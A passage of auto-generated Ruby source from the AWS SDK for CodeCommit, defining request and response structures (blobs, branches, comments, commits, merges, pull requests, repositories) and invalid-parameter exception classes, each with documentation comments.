# blob_id: "ObjectId", # required
# }
#
# @!attribute [rw] repository_name
# The name of the repository that contains the blob.
# @return [String]
#
# @!attribute [rw] blob_id
# The ID of the blob, which is its SHA-1 pointer.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/GetBlobInput AWS API Documentation
#
class GetBlobInput < Struct.new(
:repository_name,
:blob_id)
SENSITIVE = []
include Aws::Structure
end
# Represents the output of a get blob operation.
#
# @!attribute [rw] content
# The content of the blob, usually a file.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/GetBlobOutput AWS API Documentation
#
class GetBlobOutput < Struct.new(
:content)
SENSITIVE = []
include Aws::Structure
end
# Represents the input of a get branch operation.
#
# @note When making an API call, you may pass GetBranchInput
# data as a hash:
#
# {
# repository_name: "RepositoryName",
# branch_name: "BranchName",
# }
#
# @!attribute [rw] repository_name
# The name of the repository that contains the branch for which you
# want to retrieve information.
# @return [String]
#
# @!attribute [rw] branch_name
# The name of the branch for which you want to retrieve information.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/GetBranchInput AWS API Documentation
#
class GetBranchInput < Struct.new(
:repository_name,
:branch_name)
SENSITIVE = []
include Aws::Structure
end
# Represents the output of a get branch operation.
#
# @!attribute [rw] branch
# The name of the branch.
# @return [Types::BranchInfo]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/GetBranchOutput AWS API Documentation
#
class GetBranchOutput < Struct.new(
:branch)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass GetCommentInput
# data as a hash:
#
# {
# comment_id: "CommentId", # required
# }
#
# @!attribute [rw] comment_id
# The unique, system-generated ID of the comment. To get this ID, use
# GetCommentsForComparedCommit or GetCommentsForPullRequest.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/GetCommentInput AWS API Documentation
#
class GetCommentInput < Struct.new(
:comment_id)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] comment
# The contents of the comment.
# @return [Types::Comment]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/GetCommentOutput AWS API Documentation
#
class GetCommentOutput < Struct.new(
:comment)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass GetCommentsForComparedCommitInput
# data as a hash:
#
# {
# repository_name: "RepositoryName", # required
# before_commit_id: "CommitId",
# after_commit_id: "CommitId", # required
# next_token: "NextToken",
# max_results: 1,
# }
#
# @!attribute [rw] repository_name
# The name of the repository where you want to compare commits.
# @return [String]
#
# @!attribute [rw] before_commit_id
# To establish the directionality of the comparison, the full commit
# ID of the before commit.
# @return [String]
#
# @!attribute [rw] after_commit_id
# To establish the directionality of the comparison, the full commit
# ID of the after commit.
# @return [String]
#
# @!attribute [rw] next_token
# An enumeration token that when provided in a request, returns the
# next batch of the results.
# @return [String]
#
# @!attribute [rw] max_results
# A non-zero, non-negative integer used to limit the number of
# returned results. The default is 100 comments, but you can configure
# up to 500.
# @return [Integer]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/GetCommentsForComparedCommitInput AWS API Documentation
#
class GetCommentsForComparedCommitInput < Struct.new(
:repository_name,
:before_commit_id,
:after_commit_id,
:next_token,
:max_results)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] comments_for_compared_commit_data
# A list of comment objects on the compared commit.
# @return [Array<Types::CommentsForComparedCommit>]
#
# @!attribute [rw] next_token
# An enumeration token that can be used in a request to return the
# next batch of the results.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/GetCommentsForComparedCommitOutput AWS API Documentation
#
class GetCommentsForComparedCommitOutput < Struct.new(
:comments_for_compared_commit_data,
:next_token)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass GetCommentsForPullRequestInput
# data as a hash:
#
# {
# pull_request_id: "PullRequestId", # required
# repository_name: "RepositoryName",
# before_commit_id: "CommitId",
# after_commit_id: "CommitId",
# next_token: "NextToken",
# max_results: 1,
# }
#
# @!attribute [rw] pull_request_id
# The system-generated ID of the pull request. To get this ID, use
# ListPullRequests.
# @return [String]
#
# @!attribute [rw] repository_name
# The name of the repository that contains the pull request.
# @return [String]
#
# @!attribute [rw] before_commit_id
# The full commit ID of the commit in the destination branch that was
# the tip of the branch at the time the pull request was created.
# @return [String]
#
# @!attribute [rw] after_commit_id
# The full commit ID of the commit in the source branch that was the
# tip of the branch at the time the comment was made.
# @return [String]
#
# @!attribute [rw] next_token
# An enumeration token that, when provided in a request, returns the
# next batch of the results.
# @return [String]
#
# @!attribute [rw] max_results
# A non-zero, non-negative integer used to limit the number of
# returned results. The default is 100 comments. You can return up to
# 500 comments with a single request.
# @return [Integer]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/GetCommentsForPullRequestInput AWS API Documentation
#
class GetCommentsForPullRequestInput < Struct.new(
:pull_request_id,
:repository_name,
:before_commit_id,
:after_commit_id,
:next_token,
:max_results)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] comments_for_pull_request_data
# An array of comment objects on the pull request.
# @return [Array<Types::CommentsForPullRequest>]
#
# @!attribute [rw] next_token
# An enumeration token that can be used in a request to return the
# next batch of the results.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/GetCommentsForPullRequestOutput AWS API Documentation
#
class GetCommentsForPullRequestOutput < Struct.new(
:comments_for_pull_request_data,
:next_token)
SENSITIVE = []
include Aws::Structure
end
# Represents the input of a get commit operation.
#
# @note When making an API call, you may pass GetCommitInput
# data as a hash:
#
# {
# repository_name: "RepositoryName", # required
# commit_id: "ObjectId", # required
# }
#
# @!attribute [rw] repository_name
# The name of the repository to which the commit was made.
# @return [String]
#
# @!attribute [rw] commit_id
# The commit ID. Commit IDs are the full SHA ID of the commit.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/GetCommitInput AWS API Documentation
#
class GetCommitInput < Struct.new(
:repository_name,
:commit_id)
SENSITIVE = []
include Aws::Structure
end
# Represents the output of a get commit operation.
#
# @!attribute [rw] commit
# A commit data type object that contains information about the
# specified commit.
# @return [Types::Commit]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/GetCommitOutput AWS API Documentation
#
class GetCommitOutput < Struct.new(
:commit)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass GetDifferencesInput
# data as a hash:
#
# {
# repository_name: "RepositoryName", # required
# before_commit_specifier: "CommitName",
# after_commit_specifier: "CommitName", # required
# before_path: "Path",
# after_path: "Path",
# max_results: 1,
# next_token: "NextToken",
# }
#
# @!attribute [rw] repository_name
# The name of the repository where you want to get differences.
# @return [String]
#
# @!attribute [rw] before_commit_specifier
# The branch, tag, HEAD, or other fully qualified reference used to
# identify a commit (for example, the full commit ID). Optional. If
# not specified, all changes before the `afterCommitSpecifier` value
# are shown. If you do not use `beforeCommitSpecifier` in your
# request, consider limiting the results with `maxResults`.
# @return [String]
#
# @!attribute [rw] after_commit_specifier
# The branch, tag, HEAD, or other fully qualified reference used to
# identify a commit.
# @return [String]
#
# @!attribute [rw] before_path
# The file path in which to check for differences. Limits the results
# to this path. Can also be used to specify the previous name of a
# directory or folder. If `beforePath` and `afterPath` are not
# specified, differences are shown for all paths.
# @return [String]
#
# @!attribute [rw] after_path
# The file path in which to check differences. Limits the results to
# this path. Can also be used to specify the changed name of a
# directory or folder, if it has changed. If not specified,
# differences are shown for all paths.
# @return [String]
#
# @!attribute [rw] max_results
# A non-zero, non-negative integer used to limit the number of
# returned results.
# @return [Integer]
#
# @!attribute [rw] next_token
# An enumeration token that, when provided in a request, returns the
# next batch of the results.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/GetDifferencesInput AWS API Documentation
#
class GetDifferencesInput < Struct.new(
:repository_name,
:before_commit_specifier,
:after_commit_specifier,
:before_path,
:after_path,
:max_results,
:next_token)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] differences
# A data type object that contains information about the differences,
# including whether the difference is added, modified, or deleted (A,
# D, M).
# @return [Array<Types::Difference>]
#
# @!attribute [rw] next_token
# An enumeration token that can be used in a request to return the
# next batch of the results.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/GetDifferencesOutput AWS API Documentation
#
class GetDifferencesOutput < Struct.new(
:differences,
:next_token)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass GetFileInput
# data as a hash:
#
# {
# repository_name: "RepositoryName", # required
# commit_specifier: "CommitName",
# file_path: "Path", # required
# }
#
# @!attribute [rw] repository_name
# The name of the repository that contains the file.
# @return [String]
#
# @!attribute [rw] commit_specifier
# The fully quaified reference that identifies the commit that
# contains the file. For example, you can specify a full commit ID, a
# tag, a branch name, or a reference such as refs/heads/master. If
# none is provided, the head commit is used.
# @return [String]
#
# @!attribute [rw] file_path
# The fully qualified path to the file, including the full name and
# extension of the file. For example, /examples/file.md is the fully
# qualified path to a file named file.md in a folder named examples.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/GetFileInput AWS API Documentation
#
class GetFileInput < Struct.new(
:repository_name,
:commit_specifier,
:file_path)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] commit_id
# The full commit ID of the commit that contains the content returned
# by GetFile.
# @return [String]
#
# @!attribute [rw] blob_id
# The blob ID of the object that represents the file content.
# @return [String]
#
# @!attribute [rw] file_path
# The fully qualified path to the specified file. Returns the name and
# extension of the file.
# @return [String]
#
# @!attribute [rw] file_mode
# The extrapolated file mode permissions of the blob. Valid values
# include strings such as EXECUTABLE and not numeric values.
#
# <note markdown="1"> The file mode permissions returned by this API are not the standard
# file mode permission values, such as 100644, but rather extrapolated
# values. See the supported return values.
#
# </note>
# @return [String]
#
# @!attribute [rw] file_size
# The size of the contents of the file, in bytes.
# @return [Integer]
#
# @!attribute [rw] file_content
# The base-64 encoded binary data object that represents the content
# of the file.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/GetFileOutput AWS API Documentation
#
class GetFileOutput < Struct.new(
:commit_id,
:blob_id,
:file_path,
:file_mode,
:file_size,
:file_content)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass GetFolderInput
# data as a hash:
#
# {
# repository_name: "RepositoryName", # required
# commit_specifier: "CommitName",
# folder_path: "Path", # required
# }
#
# @!attribute [rw] repository_name
# The name of the repository.
# @return [String]
#
# @!attribute [rw] commit_specifier
# A fully qualified reference used to identify a commit that contains
# the version of the folder's content to return. A fully qualified
# reference can be a commit ID, branch name, tag, or reference such as
# HEAD. If no specifier is provided, the folder content is returned as
# it exists in the HEAD commit.
# @return [String]
#
# @!attribute [rw] folder_path
# The fully qualified path to the folder whose contents are returned,
# including the folder name. For example, /examples is a
# fully-qualified path to a folder named examples that was created off
# of the root directory (/) of a repository.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/GetFolderInput AWS API Documentation
#
class GetFolderInput < Struct.new(
:repository_name,
:commit_specifier,
:folder_path)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] commit_id
# The full commit ID used as a reference for the returned version of
# the folder content.
# @return [String]
#
# @!attribute [rw] folder_path
# The fully qualified path of the folder whose contents are returned.
# @return [String]
#
# @!attribute [rw] tree_id
# The full SHA-1 pointer of the tree information for the commit that
# contains the folder.
# @return [String]
#
# @!attribute [rw] sub_folders
# The list of folders that exist under the specified folder, if any.
# @return [Array<Types::Folder>]
#
# @!attribute [rw] files
# The list of files in the specified folder, if any.
# @return [Array<Types::File>]
#
# @!attribute [rw] symbolic_links
# The list of symbolic links to other files and folders in the
# specified folder, if any.
# @return [Array<Types::SymbolicLink>]
#
# @!attribute [rw] sub_modules
# The list of submodules in the specified folder, if any.
# @return [Array<Types::SubModule>]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/GetFolderOutput AWS API Documentation
#
class GetFolderOutput < Struct.new(
:commit_id,
:folder_path,
:tree_id,
:sub_folders,
:files,
:symbolic_links,
:sub_modules)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass GetMergeCommitInput
# data as a hash:
#
# {
# repository_name: "RepositoryName", # required
# source_commit_specifier: "CommitName", # required
# destination_commit_specifier: "CommitName", # required
# conflict_detail_level: "FILE_LEVEL", # accepts FILE_LEVEL, LINE_LEVEL
# conflict_resolution_strategy: "NONE", # accepts NONE, ACCEPT_SOURCE, ACCEPT_DESTINATION, AUTOMERGE
# }
#
# @!attribute [rw] repository_name
# The name of the repository that contains the merge commit about
# which you want to get information.
# @return [String]
#
# @!attribute [rw] source_commit_specifier
# The branch, tag, HEAD, or other fully qualified reference used to
# identify a commit (for example, a branch name or a full commit ID).
# @return [String]
#
# @!attribute [rw] destination_commit_specifier
# The branch, tag, HEAD, or other fully qualified reference used to
# identify a commit (for example, a branch name or a full commit ID).
# @return [String]
#
# @!attribute [rw] conflict_detail_level
# The level of conflict detail to use. If unspecified, the default
# FILE\_LEVEL is used, which returns a not-mergeable result if the
# same file has differences in both branches. If LINE\_LEVEL is
# specified, a conflict is considered not mergeable if the same file
# in both branches has differences on the same line.
# @return [String]
#
# @!attribute [rw] conflict_resolution_strategy
# Specifies which branch to use when resolving conflicts, or whether
# to attempt automatically merging two versions of a file. The default
# is NONE, which requires any conflicts to be resolved manually before
# the merge operation is successful.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/GetMergeCommitInput AWS API Documentation
#
class GetMergeCommitInput < Struct.new(
:repository_name,
:source_commit_specifier,
:destination_commit_specifier,
:conflict_detail_level,
:conflict_resolution_strategy)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] source_commit_id
# The commit ID of the source commit specifier that was used in the
# merge evaluation.
# @return [String]
#
# @!attribute [rw] destination_commit_id
# The commit ID of the destination commit specifier that was used in
# the merge evaluation.
# @return [String]
#
# @!attribute [rw] base_commit_id
# The commit ID of the merge base.
# @return [String]
#
# @!attribute [rw] merged_commit_id
# The commit ID for the merge commit created when the source branch
# was merged into the destination branch. If the fast-forward merge
# strategy was used, there is no merge commit.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/GetMergeCommitOutput AWS API Documentation
#
class GetMergeCommitOutput < Struct.new(
:source_commit_id,
:destination_commit_id,
:base_commit_id,
:merged_commit_id)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass GetMergeConflictsInput
# data as a hash:
#
# {
# repository_name: "RepositoryName", # required
# destination_commit_specifier: "CommitName", # required
# source_commit_specifier: "CommitName", # required
# merge_option: "FAST_FORWARD_MERGE", # required, accepts FAST_FORWARD_MERGE, SQUASH_MERGE, THREE_WAY_MERGE
# conflict_detail_level: "FILE_LEVEL", # accepts FILE_LEVEL, LINE_LEVEL
# max_conflict_files: 1,
# conflict_resolution_strategy: "NONE", # accepts NONE, ACCEPT_SOURCE, ACCEPT_DESTINATION, AUTOMERGE
# next_token: "NextToken",
# }
#
# @!attribute [rw] repository_name
# The name of the repository where the pull request was created.
# @return [String]
#
# @!attribute [rw] destination_commit_specifier
# The branch, tag, HEAD, or other fully qualified reference used to
# identify a commit (for example, a branch name or a full commit ID).
# @return [String]
#
# @!attribute [rw] source_commit_specifier
# The branch, tag, HEAD, or other fully qualified reference used to
# identify a commit (for example, a branch name or a full commit ID).
# @return [String]
#
# @!attribute [rw] merge_option
# The merge option or strategy you want to use to merge the code.
# @return [String]
#
# @!attribute [rw] conflict_detail_level
# The level of conflict detail to use. If unspecified, the default
# FILE\_LEVEL is used, which returns a not-mergeable result if the
# same file has differences in both branches. If LINE\_LEVEL is
# specified, a conflict is considered not mergeable if the same file
# in both branches has differences on the same line.
# @return [String]
#
# @!attribute [rw] max_conflict_files
# The maximum number of files to include in the output.
# @return [Integer]
#
# @!attribute [rw] conflict_resolution_strategy
# Specifies which branch to use when resolving conflicts, or whether
# to attempt automatically merging two versions of a file. The default
# is NONE, which requires any conflicts to be resolved manually before
# the merge operation is successful.
# @return [String]
#
# @!attribute [rw] next_token
# An enumeration token that, when provided in a request, returns the
# next batch of the results.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/GetMergeConflictsInput AWS API Documentation
#
class GetMergeConflictsInput < Struct.new(
:repository_name,
:destination_commit_specifier,
:source_commit_specifier,
:merge_option,
:conflict_detail_level,
:max_conflict_files,
:conflict_resolution_strategy,
:next_token)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] mergeable
# A Boolean value that indicates whether the code is mergeable by the
# specified merge option.
# @return [Boolean]
#
# @!attribute [rw] destination_commit_id
# The commit ID of the destination commit specifier that was used in
# the merge evaluation.
# @return [String]
#
# @!attribute [rw] source_commit_id
# The commit ID of the source commit specifier that was used in the
# merge evaluation.
# @return [String]
#
# @!attribute [rw] base_commit_id
# The commit ID of the merge base.
# @return [String]
#
# @!attribute [rw] conflict_metadata_list
# A list of metadata for any conflicting files. If the specified merge
# strategy is FAST\_FORWARD\_MERGE, this list is always empty.
# @return [Array<Types::ConflictMetadata>]
#
# @!attribute [rw] next_token
# An enumeration token that can be used in a request to return the
# next batch of the results.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/GetMergeConflictsOutput AWS API Documentation
#
class GetMergeConflictsOutput < Struct.new(
:mergeable,
:destination_commit_id,
:source_commit_id,
:base_commit_id,
:conflict_metadata_list,
:next_token)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass GetMergeOptionsInput
# data as a hash:
#
# {
# repository_name: "RepositoryName", # required
# source_commit_specifier: "CommitName", # required
# destination_commit_specifier: "CommitName", # required
# conflict_detail_level: "FILE_LEVEL", # accepts FILE_LEVEL, LINE_LEVEL
# conflict_resolution_strategy: "NONE", # accepts NONE, ACCEPT_SOURCE, ACCEPT_DESTINATION, AUTOMERGE
# }
#
# @!attribute [rw] repository_name
# The name of the repository that contains the commits about which you
# want to get merge options.
# @return [String]
#
# @!attribute [rw] source_commit_specifier
# The branch, tag, HEAD, or other fully qualified reference used to
# identify a commit (for example, a branch name or a full commit ID).
# @return [String]
#
# @!attribute [rw] destination_commit_specifier
# The branch, tag, HEAD, or other fully qualified reference used to
# identify a commit (for example, a branch name or a full commit ID).
# @return [String]
#
# @!attribute [rw] conflict_detail_level
# The level of conflict detail to use. If unspecified, the default
# FILE\_LEVEL is used, which returns a not-mergeable result if the
# same file has differences in both branches. If LINE\_LEVEL is
# specified, a conflict is considered not mergeable if the same file
# in both branches has differences on the same line.
# @return [String]
#
# @!attribute [rw] conflict_resolution_strategy
# Specifies which branch to use when resolving conflicts, or whether
# to attempt automatically merging two versions of a file. The default
# is NONE, which requires any conflicts to be resolved manually before
# the merge operation is successful.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/GetMergeOptionsInput AWS API Documentation
#
class GetMergeOptionsInput < Struct.new(
:repository_name,
:source_commit_specifier,
:destination_commit_specifier,
:conflict_detail_level,
:conflict_resolution_strategy)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] merge_options
# The merge option or strategy used to merge the code.
# @return [Array<String>]
#
# @!attribute [rw] source_commit_id
# The commit ID of the source commit specifier that was used in the
# merge evaluation.
# @return [String]
#
# @!attribute [rw] destination_commit_id
# The commit ID of the destination commit specifier that was used in
# the merge evaluation.
# @return [String]
#
# @!attribute [rw] base_commit_id
# The commit ID of the merge base.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/GetMergeOptionsOutput AWS API Documentation
#
class GetMergeOptionsOutput < Struct.new(
:merge_options,
:source_commit_id,
:destination_commit_id,
:base_commit_id)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass GetPullRequestApprovalStatesInput
# data as a hash:
#
# {
# pull_request_id: "PullRequestId", # required
# revision_id: "RevisionId", # required
# }
#
# @!attribute [rw] pull_request_id
# The system-generated ID for the pull request.
# @return [String]
#
# @!attribute [rw] revision_id
# The system-generated ID for the pull request revision.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/GetPullRequestApprovalStatesInput AWS API Documentation
#
class GetPullRequestApprovalStatesInput < Struct.new(
:pull_request_id,
:revision_id)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] approvals
# Information about users who have approved the pull request.
# @return [Array<Types::Approval>]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/GetPullRequestApprovalStatesOutput AWS API Documentation
#
class GetPullRequestApprovalStatesOutput < Struct.new(
:approvals)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass GetPullRequestInput
# data as a hash:
#
# {
# pull_request_id: "PullRequestId", # required
# }
#
# @!attribute [rw] pull_request_id
# The system-generated ID of the pull request. To get this ID, use
# ListPullRequests.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/GetPullRequestInput AWS API Documentation
#
class GetPullRequestInput < Struct.new(
:pull_request_id)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] pull_request
# Information about the specified pull request.
# @return [Types::PullRequest]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/GetPullRequestOutput AWS API Documentation
#
class GetPullRequestOutput < Struct.new(
:pull_request)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass GetPullRequestOverrideStateInput
# data as a hash:
#
# {
# pull_request_id: "PullRequestId", # required
# revision_id: "RevisionId", # required
# }
#
# @!attribute [rw] pull_request_id
# The ID of the pull request for which you want to get information
# about whether approval rules have been set aside (overridden).
# @return [String]
#
# @!attribute [rw] revision_id
# The system-generated ID of the revision for the pull request. To
# retrieve the most recent revision ID, use GetPullRequest.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/GetPullRequestOverrideStateInput AWS API Documentation
#
class GetPullRequestOverrideStateInput < Struct.new(
:pull_request_id,
:revision_id)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] overridden
# A Boolean value that indicates whether a pull request has had its
# rules set aside (TRUE) or whether all approval rules still apply
# (FALSE).
# @return [Boolean]
#
# @!attribute [rw] overrider
# The Amazon Resource Name (ARN) of the user or identity that overrode
# the rules and their requirements for the pull request.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/GetPullRequestOverrideStateOutput AWS API Documentation
#
class GetPullRequestOverrideStateOutput < Struct.new(
:overridden,
:overrider)
SENSITIVE = []
include Aws::Structure
end
# Represents the input of a get repository operation.
#
# @note When making an API call, you may pass GetRepositoryInput
# data as a hash:
#
# {
# repository_name: "RepositoryName", # required
# }
#
# @!attribute [rw] repository_name
# The name of the repository to get information about.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/GetRepositoryInput AWS API Documentation
#
class GetRepositoryInput < Struct.new(
:repository_name)
SENSITIVE = []
include Aws::Structure
end
# Represents the output of a get repository operation.
#
# @!attribute [rw] repository_metadata
# Information about the repository.
# @return [Types::RepositoryMetadata]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/GetRepositoryOutput AWS API Documentation
#
class GetRepositoryOutput < Struct.new(
:repository_metadata)
SENSITIVE = []
include Aws::Structure
end
# Represents the input of a get repository triggers operation.
#
# @note When making an API call, you may pass GetRepositoryTriggersInput
# data as a hash:
#
# {
# repository_name: "RepositoryName", # required
# }
#
# @!attribute [rw] repository_name
# The name of the repository for which the trigger is configured.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/GetRepositoryTriggersInput AWS API Documentation
#
class GetRepositoryTriggersInput < Struct.new(
:repository_name)
SENSITIVE = []
include Aws::Structure
end
# Represents the output of a get repository triggers operation.
#
# @!attribute [rw] configuration_id
# The system-generated unique ID for the trigger.
# @return [String]
#
# @!attribute [rw] triggers
# The JSON block of configuration information for each trigger.
# @return [Array<Types::RepositoryTrigger>]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/GetRepositoryTriggersOutput AWS API Documentation
#
class GetRepositoryTriggersOutput < Struct.new(
:configuration_id,
:triggers)
SENSITIVE = []
include Aws::Structure
end
# The client request token is not valid. Either the token is not in a
# valid format, or the token has been used in a previous request and
# cannot be reused.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/IdempotencyParameterMismatchException AWS API Documentation
#
class IdempotencyParameterMismatchException < Aws::EmptyStructure; end
# The Amazon Resource Name (ARN) is not valid. Make sure that you have
# provided the full ARN for the user who initiated the change for the
# pull request, and then try again.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/InvalidActorArnException AWS API Documentation
#
class InvalidActorArnException < Aws::EmptyStructure; end
# The content for the approval rule is not valid.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/InvalidApprovalRuleContentException AWS API Documentation
#
class InvalidApprovalRuleContentException < Aws::EmptyStructure; end
# The name for the approval rule is not valid.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/InvalidApprovalRuleNameException AWS API Documentation
#
class InvalidApprovalRuleNameException < Aws::EmptyStructure; end
# The content of the approval rule template is not valid.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/InvalidApprovalRuleTemplateContentException AWS API Documentation
#
class InvalidApprovalRuleTemplateContentException < Aws::EmptyStructure; end
# The description for the approval rule template is not valid because it
# exceeds the maximum characters allowed for a description. For more
# information about limits in AWS CodeCommit, see [AWS CodeCommit User
# Guide][1].
#
#
#
# [1]: https://docs.aws.amazon.com/codecommit/latest/userguide/limits.html
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/InvalidApprovalRuleTemplateDescriptionException AWS API Documentation
#
class InvalidApprovalRuleTemplateDescriptionException < Aws::EmptyStructure; end
# The name of the approval rule template is not valid. Template names
# must be between 1 and 100 valid characters in length. For more
# information about limits in AWS CodeCommit, see [AWS CodeCommit User
# Guide][1].
#
#
#
# [1]: https://docs.aws.amazon.com/codecommit/latest/userguide/limits.html
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/InvalidApprovalRuleTemplateNameException AWS API Documentation
#
class InvalidApprovalRuleTemplateNameException < Aws::EmptyStructure; end
# The state for the approval is not valid. Valid values include APPROVE
# and REVOKE.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/InvalidApprovalStateException AWS API Documentation
#
class InvalidApprovalStateException < Aws::EmptyStructure; end
# The Amazon Resource Name (ARN) is not valid. Make sure that you have
# provided the full ARN for the author of the pull request, and then try
# again.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/InvalidAuthorArnException AWS API Documentation
#
class InvalidAuthorArnException < Aws::EmptyStructure; end
# The specified blob is not valid.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/InvalidBlobIdException AWS API Documentation
#
class InvalidBlobIdException < Aws::EmptyStructure; end
# The specified reference name is not valid.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/InvalidBranchNameException AWS API Documentation
#
class InvalidBranchNameException < Aws::EmptyStructure; end
# The client request token is not valid.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/InvalidClientRequestTokenException AWS API Documentation
#
class InvalidClientRequestTokenException < Aws::EmptyStructure; end
# The comment ID is not in a valid format. Make sure that you have
# provided the full comment ID.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/InvalidCommentIdException AWS API Documentation
#
class InvalidCommentIdException < Aws::EmptyStructure; end
# The specified commit is not valid.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/InvalidCommitException AWS API Documentation
#
class InvalidCommitException < Aws::EmptyStructure; end
# The specified commit ID is not valid.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/InvalidCommitIdException AWS API Documentation
#
class InvalidCommitIdException < Aws::EmptyStructure; end
# The specified conflict detail level is not valid.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/InvalidConflictDetailLevelException AWS API Documentation
#
class InvalidConflictDetailLevelException < Aws::EmptyStructure; end
# The specified conflict resolution list is not valid.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/InvalidConflictResolutionException AWS API Documentation
#
class InvalidConflictResolutionException < Aws::EmptyStructure; end
# The specified conflict resolution strategy is not valid.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/InvalidConflictResolutionStrategyException AWS API Documentation
#
class InvalidConflictResolutionStrategyException < Aws::EmptyStructure; end
# The specified continuation token is not valid.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/InvalidContinuationTokenException AWS API Documentation
#
class InvalidContinuationTokenException < Aws::EmptyStructure; end
# The specified deletion parameter is not valid.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/InvalidDeletionParameterException AWS API Documentation
#
class InvalidDeletionParameterException < Aws::EmptyStructure; end
# The pull request description is not valid. Descriptions cannot be more
# than 1,000 characters.
#
